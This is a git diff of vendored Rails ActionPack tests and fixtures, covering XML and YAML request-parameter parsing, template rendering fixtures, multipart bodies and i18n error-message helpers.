-    assert @controller.params.has_key?(:entry)
-    assert_equal 'content...', @controller.params["entry"]['summary']
-    assert_equal 'true', @controller.params["entry"]['attributed']
+    with_test_route_set do
+      post "/", '<entry attributed="true"><summary>content...</summary></entry>',
+        {'CONTENT_TYPE' => 'application/xml'}
+
+      assert_equal 'entry', @controller.response.body
+      assert @controller.params.has_key?(:entry)
+      assert_equal 'content...', @controller.params["entry"]['summary']
+      assert_equal 'true', @controller.params["entry"]['attributed']
+    end
   end
 
   def test_put_xml
-    process('PUT', 'application/xml', '<entry attributed="true"><summary>content...</summary></entry>')
+    with_test_route_set do
+      put "/", '<entry attributed="true"><summary>content...</summary></entry>',
+        {'CONTENT_TYPE' => 'application/xml'}
 
-    assert_equal 'entry', @controller.response.body
-    assert @controller.params.has_key?(:entry)
-    assert_equal 'content...', @controller.params["entry"]['summary']
-    assert_equal 'true', @controller.params["entry"]['attributed']
+      assert_equal 'entry', @controller.response.body
+      assert @controller.params.has_key?(:entry)
+      assert_equal 'content...', @controller.params["entry"]['summary']
+      assert_equal 'true', @controller.params["entry"]['attributed']
+    end
   end
 
   def test_put_xml_using_a_type_node
-    process('PUT', 'application/xml', '<type attributed="true"><summary>content...</summary></type>')
+    with_test_route_set do
+      put "/", '<type attributed="true"><summary>content...</summary></type>',
+        {'CONTENT_TYPE' => 'application/xml'}
 
-    assert_equal 'type', @controller.response.body
-    assert @controller.params.has_key?(:type)
-    assert_equal 'content...', @controller.params["type"]['summary']
-    assert_equal 'true', @controller.params["type"]['attributed']
+      assert_equal 'type', @controller.response.body
+      assert @controller.params.has_key?(:type)
+      assert_equal 'content...', @controller.params["type"]['summary']
+      assert_equal 'true', @controller.params["type"]['attributed']
+    end
   end
 
   def test_put_xml_using_a_type_node_and_attribute
-    process('PUT', 'application/xml', '<type attributed="true"><summary type="boolean">false</summary></type>')
+    with_test_route_set do
+      put "/", '<type attributed="true"><summary type="boolean">false</summary></type>',
+        {'CONTENT_TYPE' => 'application/xml'}
 
-    assert_equal 'type', @controller.response.body
-    assert @controller.params.has_key?(:type)
-    assert_equal false, @controller.params["type"]['summary']
-    assert_equal 'true', @controller.params["type"]['attributed']
+      assert_equal 'type', @controller.response.body
+      assert @controller.params.has_key?(:type)
+      assert_equal false, @controller.params["type"]['summary']
+      assert_equal 'true', @controller.params["type"]['attributed']
+    end
   end
 
   def test_post_xml_using_a_type_node
-    process('POST', 'application/xml', '<font attributed="true"><type>arial</type></font>')
+    with_test_route_set do
+      post "/", '<font attributed="true"><type>arial</type></font>',
+        {'CONTENT_TYPE' => 'application/xml'}
 
-    assert_equal 'font', @controller.response.body
-    assert @controller.params.has_key?(:font)
-    assert_equal 'arial', @controller.params['font']['type']
-    assert_equal 'true', @controller.params["font"]['attributed']
+      assert_equal 'font', @controller.response.body
+      assert @controller.params.has_key?(:font)
+      assert_equal 'arial', @controller.params['font']['type']
+      assert_equal 'true', @controller.params["font"]['attributed']
+    end
   end
 
   def test_post_xml_using_a_root_node_named_type
-    process('POST', 'application/xml', '<type type="integer">33</type>')
+    with_test_route_set do
+      post "/", '<type type="integer">33</type>',
+        {'CONTENT_TYPE' => 'application/xml'}
 
-    assert @controller.params.has_key?(:type)
-    assert_equal 33, @controller.params['type']
+      assert @controller.params.has_key?(:type)
+      assert_equal 33, @controller.params['type']
+    end
   end
 
   def test_post_xml_using_an_attributted_node_named_type
-    ActionController::Base.param_parsers[Mime::XML] = Proc.new { |data| XmlSimple.xml_in(data, 'ForceArray' => false) }
-    process('POST', 'application/xml', '<request><type type="string">Arial,12</type><z>3</z></request>')
+    with_test_route_set do
+      ActionController::Base.param_parsers[Mime::XML] = Proc.new { |data| Hash.from_xml(data)['request'].with_indifferent_access }
+      post "/", '<request><type type="string">Arial,12</type><z>3</z></request>',
+        {'CONTENT_TYPE' => 'application/xml'}
 
-    assert_equal 'type, z', @controller.response.body
-    assert @controller.params.has_key?(:type)
-    assert_equal 'string', @controller.params['type']['type']
-    assert_equal 'Arial,12', @controller.params['type']['content']
-    assert_equal '3', @controller.params['z']
+      assert_equal 'type, z', @controller.response.body
+      assert @controller.params.has_key?(:type)
+      assert_equal 'Arial,12', @controller.params['type'], @controller.params.inspect
+      assert_equal '3', @controller.params['z'], @controller.params.inspect
+    end
   end
 
   def test_register_and_use_yaml
-    ActionController::Base.param_parsers[Mime::YAML] = Proc.new { |d| YAML.load(d) }
-    process('POST', 'application/x-yaml', {"entry" => "loaded from yaml"}.to_yaml)
-    assert_equal 'entry', @controller.response.body
-    assert @controller.params.has_key?(:entry)
-    assert_equal 'loaded from yaml', @controller.params["entry"]
+    with_test_route_set do
+      ActionController::Base.param_parsers[Mime::YAML] = Proc.new { |d| YAML.load(d) }
+      post "/", {"entry" => "loaded from yaml"}.to_yaml,
+        {'CONTENT_TYPE' => 'application/x-yaml'}
+
+      assert_equal 'entry', @controller.response.body
+      assert @controller.params.has_key?(:entry)
+      assert_equal 'loaded from yaml', @controller.params["entry"]
+    end
   end
-  
+
   def test_register_and_use_yaml_as_symbol
-    ActionController::Base.param_parsers[Mime::YAML] = :yaml
-    process('POST', 'application/x-yaml', {"entry" => "loaded from yaml"}.to_yaml)
-    assert_equal 'entry', @controller.response.body
-    assert @controller.params.has_key?(:entry)
-    assert_equal 'loaded from yaml', @controller.params["entry"]
+    with_test_route_set do
+      ActionController::Base.param_parsers[Mime::YAML] = :yaml
+      post "/", {"entry" => "loaded from yaml"}.to_yaml,
+        {'CONTENT_TYPE' => 'application/x-yaml'}
+
+      assert_equal 'entry', @controller.response.body
+      assert @controller.params.has_key?(:entry)
+      assert_equal 'loaded from yaml', @controller.params["entry"]
+    end
   end
 
   def test_register_and_use_xml_simple
-    ActionController::Base.param_parsers[Mime::XML] = Proc.new { |data| XmlSimple.xml_in(data, 'ForceArray' => false) }
-    process('POST', 'application/xml', '<request><summary>content...</summary><title>SimpleXml</title></request>' )
-    assert_equal 'summary, title', @controller.response.body
-    assert @controller.params.has_key?(:summary)
-    assert @controller.params.has_key?(:title)
-    assert_equal 'content...', @controller.params["summary"]
-    assert_equal 'SimpleXml', @controller.params["title"]
+    with_test_route_set do
+      ActionController::Base.param_parsers[Mime::XML] = Proc.new { |data| Hash.from_xml(data)['request'].with_indifferent_access }
+      post "/", '<request><summary>content...</summary><title>SimpleXml</title></request>',
+        {'CONTENT_TYPE' => 'application/xml'}
+
+      assert_equal 'summary, title', @controller.response.body
+      assert @controller.params.has_key?(:summary)
+      assert @controller.params.has_key?(:title)
+      assert_equal 'content...', @controller.params["summary"]
+      assert_equal 'SimpleXml', @controller.params["title"]
+    end
   end
 
   def test_use_xml_ximple_with_empty_request
-    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
-    assert_nothing_raised { process('POST', 'application/xml', "") }
-    assert_equal "", @controller.response.body
+    with_test_route_set do
+      ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+      assert_nothing_raised { post "/", "", {'CONTENT_TYPE' => 'application/xml'} }
+      assert_equal "", @controller.response.body
+    end
   end
 
   def test_dasherized_keys_as_xml
-    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
-    process('POST', 'application/xml', "<first-key>\n<sub-key>...</sub-key>\n</first-key>", true)
-    assert_equal 'action, controller, first_key(sub_key), full', @controller.response.body
-    assert_equal "...", @controller.params[:first_key][:sub_key]
+    with_test_route_set do
+      ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+      post "/?full=1", "<first-key>\n<sub-key>...</sub-key>\n</first-key>",
+        {'CONTENT_TYPE' => 'application/xml'}
+      assert_equal 'action, controller, first_key(sub_key), full', @controller.response.body
+      assert_equal "...", @controller.params[:first_key][:sub_key]
+    end
   end
 
   def test_typecast_as_xml
-    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
-    process('POST', 'application/xml', <<-XML)
-      <data>
-        <a type="integer">15</a>
-        <b type="boolean">false</b>
-        <c type="boolean">true</c>
-        <d type="date">2005-03-17</d>
-        <e type="datetime">2005-03-17T21:41:07Z</e>
-        <f>unparsed</f>
-        <g type="integer">1</g>
-        <g>hello</g>
-        <g type="date">1974-07-25</g>
-      </data>
-    XML
-    params = @controller.params
-    assert_equal 15, params[:data][:a]
-    assert_equal false, params[:data][:b]
-    assert_equal true, params[:data][:c]
-    assert_equal Date.new(2005,3,17), params[:data][:d]
-    assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
-    assert_equal "unparsed", params[:data][:f]
-    assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
+    with_test_route_set do
+      ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+      xml = <<-XML
+        <data>
+          <a type="integer">15</a>
+          <b type="boolean">false</b>
+          <c type="boolean">true</c>
+          <d type="date">2005-03-17</d>
+          <e type="datetime">2005-03-17T21:41:07Z</e>
+          <f>unparsed</f>
+          <g type="integer">1</g>
+          <g>hello</g>
+          <g type="date">1974-07-25</g>
+        </data>
+      XML
+      post "/", xml, {'CONTENT_TYPE' => 'application/xml'}
+
+      params = @controller.params
+      assert_equal 15, params[:data][:a]
+      assert_equal false, params[:data][:b]
+      assert_equal true, params[:data][:c]
+      assert_equal Date.new(2005,3,17), params[:data][:d]
+      assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
+      assert_equal "unparsed", params[:data][:f]
+      assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
+    end
   end
 
   def test_entities_unescaped_as_xml_simple
-    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
-    process('POST', 'application/xml', <<-XML)
-      <data>&lt;foo &quot;bar&apos;s&quot; &amp; friends&gt;</data>
-    XML
-    assert_equal %(<foo "bar's" & friends>), @controller.params[:data]
+    with_test_route_set do
+      ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+      xml = <<-XML
+        <data>&lt;foo &quot;bar&apos;s&quot; &amp; friends&gt;</data>
+      XML
+      post "/", xml, {'CONTENT_TYPE' => 'application/xml'}
+      assert_equal %(<foo "bar's" & friends>), @controller.params[:data]
+    end
   end
 
   def test_typecast_as_yaml
-    ActionController::Base.param_parsers[Mime::YAML] = :yaml
-    process('POST', 'application/x-yaml', <<-YAML)
-      ---
-      data:
-        a: 15
-        b: false
-        c: true
-        d: 2005-03-17
-        e: 2005-03-17T21:41:07Z
-        f: unparsed
-        g:
-          - 1
-          - hello
-          - 1974-07-25
-    YAML
-    params = @controller.params
-    assert_equal 15, params[:data][:a]
-    assert_equal false, params[:data][:b]
-    assert_equal true, params[:data][:c]
-    assert_equal Date.new(2005,3,17), params[:data][:d]
-    assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
-    assert_equal "unparsed", params[:data][:f]
-    assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
+    with_test_route_set do
+      ActionController::Base.param_parsers[Mime::YAML] = :yaml
+      yaml = <<-YAML
+        ---
+        data:
+          a: 15
+          b: false
+          c: true
+          d: 2005-03-17
+          e: 2005-03-17T21:41:07Z
+          f: unparsed
+          g:
+            - 1
+            - hello
+            - 1974-07-25
+      YAML
+      post "/", yaml, {'CONTENT_TYPE' => 'application/x-yaml'}
+      params = @controller.params
+      assert_equal 15, params[:data][:a]
+      assert_equal false, params[:data][:b]
+      assert_equal true, params[:data][:c]
+      assert_equal Date.new(2005,3,17), params[:data][:d]
+      assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
+      assert_equal "unparsed", params[:data][:f]
+      assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
+    end
   end
-  
-  private  
-  
-  def process(verb, content_type = 'application/x-www-form-urlencoded', data = '', full=false)
-    
-    cgi = MockCGI.new({
-      'REQUEST_METHOD' => verb,
-      'CONTENT_TYPE'   => content_type,
-      'QUERY_STRING'   => "action=assign_parameters&controller=webservicetest/test#{"&full=1" if full}",
-      "REQUEST_URI"    => "/",
-      "HTTP_HOST"      => 'testdomain.com',
-      "CONTENT_LENGTH" => data.size,
-      "SERVER_PORT"    => "80",
-      "HTTPS"          => "off"}, data)
-          
-    @controller.send(:process, ActionController::CgiRequest.new(cgi, {}), ActionController::CgiResponse.new(cgi))
-  end
-    
+
+  private
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do |map|
+          map.with_options :controller => "web_service_test/test" do |c|
+            c.connect "/", :action => "assign_parameters"
+          end
+        end
+        yield
+      end
+    end
 end
diff --git a/vendor/rails/actionpack/test/fixtures/alternate_helpers/foo_helper.rb b/vendor/rails/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
new file mode 100644
index 00000000..a956fce6
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
@@ -0,0 +1,3 @@
+module FooHelper
+  def baz() end
+end
diff --git a/vendor/rails/actionpack/test/fixtures/failsafe/500.html b/vendor/rails/actionpack/test/fixtures/failsafe/500.html
new file mode 100644
index 00000000..f3af84d6
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/failsafe/500.html
@@ -0,0 +1 @@
+hello <%= "my" %> world
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/layout_tests/abs_path_layout.rhtml b/vendor/rails/actionpack/test/fixtures/layout_tests/abs_path_layout.rhtml
new file mode 100644
index 00000000..8ba6e704
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/layout_tests/abs_path_layout.rhtml
@@ -0,0 +1 @@
+abs_path_layout.rhtml <%= yield %>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/test_data/.hidden.html b/vendor/rails/actionpack/test/fixtures/layout_tests/alt/layouts/alt.rhtml
similarity index 100%
rename from vendor/plugins/selenium-on-rails/test_data/.hidden.html
rename to vendor/rails/actionpack/test/fixtures/layout_tests/alt/layouts/alt.rhtml
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/default_html.html.erb b/vendor/rails/actionpack/test/fixtures/layouts/default_html.html.erb
new file mode 100644
index 00000000..edd71911
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/layouts/default_html.html.erb
@@ -0,0 +1 @@
+<html><%= @content_for_layout %></html>
diff --git a/vendor/rails/actionpack/test/fixtures/layouts/xhr.html.erb b/vendor/rails/actionpack/test/fixtures/layouts/xhr.html.erb
new file mode 100644
index 00000000..85285324
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/layouts/xhr.html.erb
@@ -0,0 +1,2 @@
+XHR!
+<%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/empty b/vendor/rails/actionpack/test/fixtures/multipart/empty
new file mode 100644
index 00000000..f0f79835
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/multipart/empty
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="submit-name"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="files"; filename="file1.txt"
+Content-Type: text/plain
+
+
+--AaB03x--
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/hello.txt b/vendor/rails/actionpack/test/fixtures/multipart/hello.txt
new file mode 100644
index 00000000..5ab2f8a4
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/multipart/hello.txt
@@ -0,0 +1 @@
+Hello
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/multipart/none b/vendor/rails/actionpack/test/fixtures/multipart/none
new file mode 100644
index 00000000..d66f4730
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/multipart/none
@@ -0,0 +1,9 @@
+--AaB03x
+Content-Disposition: form-data; name="submit-name"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="files"; filename=""
+
+
+--AaB03x--
diff --git a/vendor/rails/actionpack/test/fixtures/public/500.da.html b/vendor/rails/actionpack/test/fixtures/public/500.da.html
new file mode 100644
index 00000000..a497c136
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/public/500.da.html
@@ -0,0 +1 @@
+500 localized error fixture
diff --git a/vendor/rails/actionpack/test/fixtures/public/absolute/test.css b/vendor/rails/actionpack/test/fixtures/public/absolute/test.css
new file mode 100644
index 00000000..6e09025b
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/public/absolute/test.css
@@ -0,0 +1,23 @@
+/* bank.css */
+
+/* robber.css */
+
+/* version.1.0.css */
+
+/* bank.css */
+
+/* bank.css */
+
+/* robber.css */
+
+/* version.1.0.css */
+
+/* bank.css */
+
+/* robber.css */
+
+/* version.1.0.css */
+
+/* robber.css */
+
+/* version.1.0.css */
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/public/absolute/test.js b/vendor/rails/actionpack/test/fixtures/public/absolute/test.js
new file mode 100644
index 00000000..4c4292a3
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/public/absolute/test.js
@@ -0,0 +1,63 @@
+// prototype js
+
+// effects js
+
+// dragdrop js
+
+// controls js
+
+// prototype js
+
+// effects js
+
+// dragdrop js
+
+// controls js
+
+// application js
+
+// bank js
+
+// robber js
+
+// version.1.0 js
+
+// application js
+
+// bank js
+
+// prototype js
+
+// effects js
+
+// dragdrop js
+
+// controls js
+
+// prototype js
+
+// effects js
+
+// dragdrop js
+
+// controls js
+
+// application js
+
+// bank js
+
+// robber js
+
+// version.1.0 js
+
+// application js
+
+// bank js
+
+// robber js
+
+// version.1.0 js
+
+// robber js
+
+// version.1.0 js
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/quiz/questions/_question.html.erb b/vendor/rails/actionpack/test/fixtures/quiz/questions/_question.html.erb
new file mode 100644
index 00000000..fb4dcfee
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/quiz/questions/_question.html.erb
@@ -0,0 +1 @@
+<%= question.name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/replies.yml b/vendor/rails/actionpack/test/fixtures/replies.yml
index a17d2fc4..66020b70 100644
--- a/vendor/rails/actionpack/test/fixtures/replies.yml
+++ b/vendor/rails/actionpack/test/fixtures/replies.yml
@@ -12,4 +12,4 @@ another:
   developer_id: 1
   content: Nuh uh!
   created_at: <%= 1.hour.ago.to_s(:db) %>
-  updated_at: nil
\ No newline at end of file
+  updated_at: nil
diff --git a/vendor/rails/actionpack/test/fixtures/test/_from_helper.erb b/vendor/rails/actionpack/test/fixtures/test/_from_helper.erb
new file mode 100644
index 00000000..16de7c0f
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/_from_helper.erb
@@ -0,0 +1 @@
+<%= render_from_helper %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_one.html.erb b/vendor/rails/actionpack/test/fixtures/test/_one.html.erb
new file mode 100644
index 00000000..f796291c
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/_one.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "two" %> world
diff --git a/vendor/rails/actionpack/test/fixtures/test/_two.html.erb b/vendor/rails/actionpack/test/fixtures/test/_two.html.erb
new file mode 100644
index 00000000..5ab2f8a4
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/_two.html.erb
@@ -0,0 +1 @@
+Hello
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/dont_pick_me b/vendor/rails/actionpack/test/fixtures/test/dont_pick_me
new file mode 100644
index 00000000..0157c9e5
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/dont_pick_me
@@ -0,0 +1 @@
+non-template file
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello.builder b/vendor/rails/actionpack/test/fixtures/test/hello.builder
index 86a8bb3d..a4715539 100644
--- a/vendor/rails/actionpack/test/fixtures/test/hello.builder
+++ b/vendor/rails/actionpack/test/fixtures/test/hello.builder
@@ -1,4 +1,4 @@
 xml.html do
   xml.p "Hello #{@name}"
-  xml << render("test/greeting")
+  xml << render(:file => "test/greeting")
 end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello_world.da.html.erb b/vendor/rails/actionpack/test/fixtures/test/hello_world.da.html.erb
new file mode 100644
index 00000000..10ec4432
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/hello_world.da.html.erb
@@ -0,0 +1 @@
+Hey verden
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb b/vendor/rails/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
new file mode 100644
index 00000000..773b3c8c
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
@@ -0,0 +1 @@
+Ola mundo
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_explicit_html_template.js.rjs b/vendor/rails/actionpack/test/fixtures/test/render_explicit_html_template.js.rjs
new file mode 100644
index 00000000..4eb12fd6
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/render_explicit_html_template.js.rjs
@@ -0,0 +1 @@
+page.call "document.write", render(:partial => "one.html.erb")
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template.js.rjs b/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template.js.rjs
new file mode 100644
index 00000000..3d680417
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template.js.rjs
@@ -0,0 +1 @@
+page.call "document.write", render(:partial => "one")
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb b/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
new file mode 100644
index 00000000..0740b2d0
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
@@ -0,0 +1 @@
+Hey HTML!
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb b/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb
new file mode 100644
index 00000000..4a11845c
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb
@@ -0,0 +1 @@
+Hello HTML!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb b/vendor/rails/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb
new file mode 100644
index 00000000..d5b94af5
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb
@@ -0,0 +1 @@
+alert('hello');
diff --git a/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb b/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb
new file mode 100644
index 00000000..0b4d19aa
--- /dev/null
+++ b/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb
@@ -0,0 +1,2 @@
+Русский текст
+日本語のテキスト
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb
index 7e6bf707..4b6e8ddc 100644
--- a/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb
+++ b/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb
@@ -4,43 +4,41 @@ class ActiveRecordHelperI18nTest < Test::Unit::TestCase
   include ActionView::Helpers::ActiveRecordHelper
   
   attr_reader :request
-  uses_mocha 'active_record_helper_i18n_test' do
-    def setup
-      @object = stub :errors => stub(:count => 1, :full_messages => ['full_messages'])
-      @object_name = 'book'
-      stubs(:content_tag).returns 'content_tag'
+  def setup
+    @object = stub :errors => stub(:count => 1, :full_messages => ['full_messages'])
+    @object_name = 'book'
+    stubs(:content_tag).returns 'content_tag'
 
-      I18n.stubs(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns "1 error prohibited this  from being saved"
-      I18n.stubs(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
-    end
+    I18n.stubs(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns "1 error prohibited this  from being saved"
+    I18n.stubs(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
+  end
 
-    def test_error_messages_for_given_a_header_option_it_does_not_translate_header_message
-      I18n.expects(:translate).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').never
-      error_messages_for(:object => @object, :header_message => 'header message', :locale => 'en')
-    end
+  def test_error_messages_for_given_a_header_option_it_does_not_translate_header_message
+    I18n.expects(:translate).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').never
+    error_messages_for(:object => @object, :header_message => 'header message', :locale => 'en')
+  end
 
-    def test_error_messages_for_given_no_header_option_it_translates_header_message
-      I18n.expects(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns 'header message'
-      I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
-      error_messages_for(:object => @object, :locale => 'en')
-    end
+  def test_error_messages_for_given_no_header_option_it_translates_header_message
+    I18n.expects(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns 'header message'
+    I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
+    error_messages_for(:object => @object, :locale => 'en')
+  end
 
-    def test_error_messages_for_given_a_message_option_it_does_not_translate_message
-      I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).never
-      I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
-      error_messages_for(:object => @object, :message => 'message', :locale => 'en')
-    end
+  def test_error_messages_for_given_a_message_option_it_does_not_translate_message
+    I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).never
+    I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
+    error_messages_for(:object => @object, :message => 'message', :locale => 'en')
+  end
 
-    def test_error_messages_for_given_no_message_option_it_translates_message
-      I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
-      I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
-      error_messages_for(:object => @object, :locale => 'en')
-    end
-    
-    def test_error_messages_for_given_object_name_it_translates_object_name
-      I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => @object_name).returns "1 error prohibited this #{@object_name} from being saved"
-      I18n.expects(:t).with(@object_name, :default => @object_name, :count => 1, :scope => [:activerecord, :models]).once.returns @object_name
-      error_messages_for(:object => @object, :locale => 'en', :object_name => @object_name)
-    end
+  def test_error_messages_for_given_no_message_option_it_translates_message
+    I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
+    I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
+    error_messages_for(:object => @object, :locale => 'en')
+  end
+  
+  def test_error_messages_for_given_object_name_it_translates_object_name
+    I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => @object_name).returns "1 error prohibited this #{@object_name} from being saved"
+    I18n.expects(:t).with(@object_name, :default => @object_name, :count => 1, :scope => [:activerecord, :models]).once.returns @object_name
+    error_messages_for(:object => @object, :locale => 'en', :object_name => @object_name)
   end
 end
diff --git a/vendor/rails/actionpack/test/template/active_record_helper_test.rb b/vendor/rails/actionpack/test/template/active_record_helper_test.rb
index e46f95d1..6ec4c84a 100644
--- a/vendor/rails/actionpack/test/template/active_record_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/active_record_helper_test.rb
@@ -19,6 +19,30 @@ class ActiveRecordHelperTest < ActionView::TestCase
     Column = Struct.new("Column", :type, :name, :human_name)
   end
 
+  class DirtyPost
+    class Errors
+      def empty?
+        false
+      end
+
+      def count
+        1
+      end
+
+      def full_messages
+        ["Author name can't be <em>empty</em>"]
+      end
+
+      def on(field)
+        "can't be <em>empty</em>"
+      end
+    end
+
+    def errors
+      Errors.new
+    end
+  end
+
   def setup_post
     @post = Post.new
     def @post.errors
@@ -146,7 +170,7 @@ class ActiveRecordHelperTest < ActionView::TestCase
     @request_forgery_protection_token = 'authenticity_token'
     @form_authenticity_token = '123'
     assert_dom_equal(
-      %(<form action="create" method="post"><div style='margin:0;padding:0'><input type='hidden' name='authenticity_token' value='123' /></div><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
+      %(<form action="create" method="post"><div style='margin:0;padding:0;display:inline'><input type='hidden' name='authenticity_token' value='123' /></div><p><label for="post_title">Title</label><br /><input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /></p>\n<p><label for="post_body">Body</label><br /><div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div></p><input name="commit" type="submit" value="Create" /></form>),
       form("post")
     )
   end
@@ -159,7 +183,7 @@ class ActiveRecordHelperTest < ActionView::TestCase
   end
 
   def test_form_with_action_option
-    @response.body = form("post", :action => "sign")
+    output_buffer << form("post", :action => "sign")
     assert_select "form[action=sign]" do |form|
       assert_select "input[type=submit][value=Sign]"
     end
@@ -195,10 +219,20 @@ class ActiveRecordHelperTest < ActionView::TestCase
